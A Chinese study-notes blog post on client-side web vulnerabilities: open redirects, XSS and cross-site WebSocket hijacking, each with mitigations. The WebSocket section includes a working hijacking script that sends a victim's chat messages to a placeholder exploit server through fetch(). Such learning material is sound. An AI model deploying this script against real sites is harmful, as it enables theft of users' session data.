网站常见安全客户端漏洞 | 青训营

65 阅读3分钟

在这节课程中我学到了关于安全和漏洞的一些知识,除了之前提到的服务端漏洞,自然还有由于客户端的种种因素引发的漏洞

客户端漏洞

开发重定向

开发重定向指的是某些需要重定向到其他站点的功能,往往在参数中携带需要重定向的 URL ,但实际程序逻辑没有控制好重定向的范围,导致攻击者可以构造恶意链接,诱导用户重定向到恶意站点。 比如假定有网站user.com/ 和一个恶意钓鱼网站 userr.com/ ,用户在进入网站时,用户收到了别人发的链接:user.com/Account/Log… , 在点击后很容易在输入账号和密码登录后跳转到重定向到了一个仿造正规网站的登录页面的恶意网站并在上面提示用户名或密码错误,用户按照提示重新输入了帐号密码信息又重定向会正规网站,但此时账户密码均已泄露,用户却并不知道。
修复方案则是需要对重定向严格进行白名单控制 并正确校验匹配白名单。

XSS

XSS(跨站脚本攻击)本质是一种 Script 代码注入, 攻击者往目标 Web 页面里插入恶意 Script 代码,当用户访问页面(有客户端时需要交互)时,嵌入其中 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS攻击的实现很简单,攻击者通过网站反馈入口,向管理员/运营人员发送恶意链接,并且最终获取管理员权限,之后便修改页面设计,插入一些恶意的 Script 代码,最终形成攻击。 要想防护,有几种不同方法

  1. 输入过滤:对输入的特殊字符进行拦截,禁止前端提交特殊字符
  2. 输出过滤:
    a. 当字符输出到Dom时候,对危险字符进行html encode,避免XSS。
    b. 使用vue/react等框架时候,避免使用危险指令,而应该使用安全指令。v-html/v-text
  3. 富文本场景:比如文章发布场景,本身是需要提供富文本功能,这时候需要严格限制tag和attribute,可以在代码层面做白名单或者黑名单。
<tag attribute1=’value1’ attribute2=‘value2’ />
  1. CSP:用于缓解XSS,理念是对当前站点允许加载什么源的资源、发送什么请求能进行限制。
    (适用于文本较大,难以探查时。)
Content-Security-Policy: default-src 'self'; 
img-src *;
media-src example.org example.net; 
script-src userscripts.example.com

WebSocket

区别于http,只是不同的交互协议,本质上http 服务端的漏洞,在 WebSocket 上也可能存在,因此视频老师只是重点讨论 WebSocket 架构的一些问题。

<html> 
<body>  
        <script>  
        // Create WebSocket connection.  
        const socket = new WebSocket ('wss://victim.site/chat');  
        // Connection opened  
        socket. addEventListener('open'function (event) {  
            socket. send ('READY');  
        });
        // Listen for messages  
        socket.addEventListener ('message'function (event) {  
            fetch('![]()https://your-exploit-server.site/s?q=' + window.btoa (event))  
                .then (response => response. json () )  
                .then (data => console. log (data));  
        });
        </script>
</body>
</html>

黑产设置钓鱼页面,用户一旦访问后,用户 WebSocket 会话就可能会被监听。 CSWSH 有2种防护手段:

  1. Cookie鉴权:限制请求的Origin。
  2. ticket/token鉴权:http服务提供接口,用于获取临时的身份凭证,并传递到WebSocket的初始化流程中

总结反思

在这节课中重点学习了客户端的一些漏洞,自己在文中也只是提及了自己重点感兴趣的一些,其实更多的是自己搜索的进一步资料,能更加清楚了解这些知识。这些漏洞通过网站或者页面等隐秘的途径,更加难以发现,需要多多提防。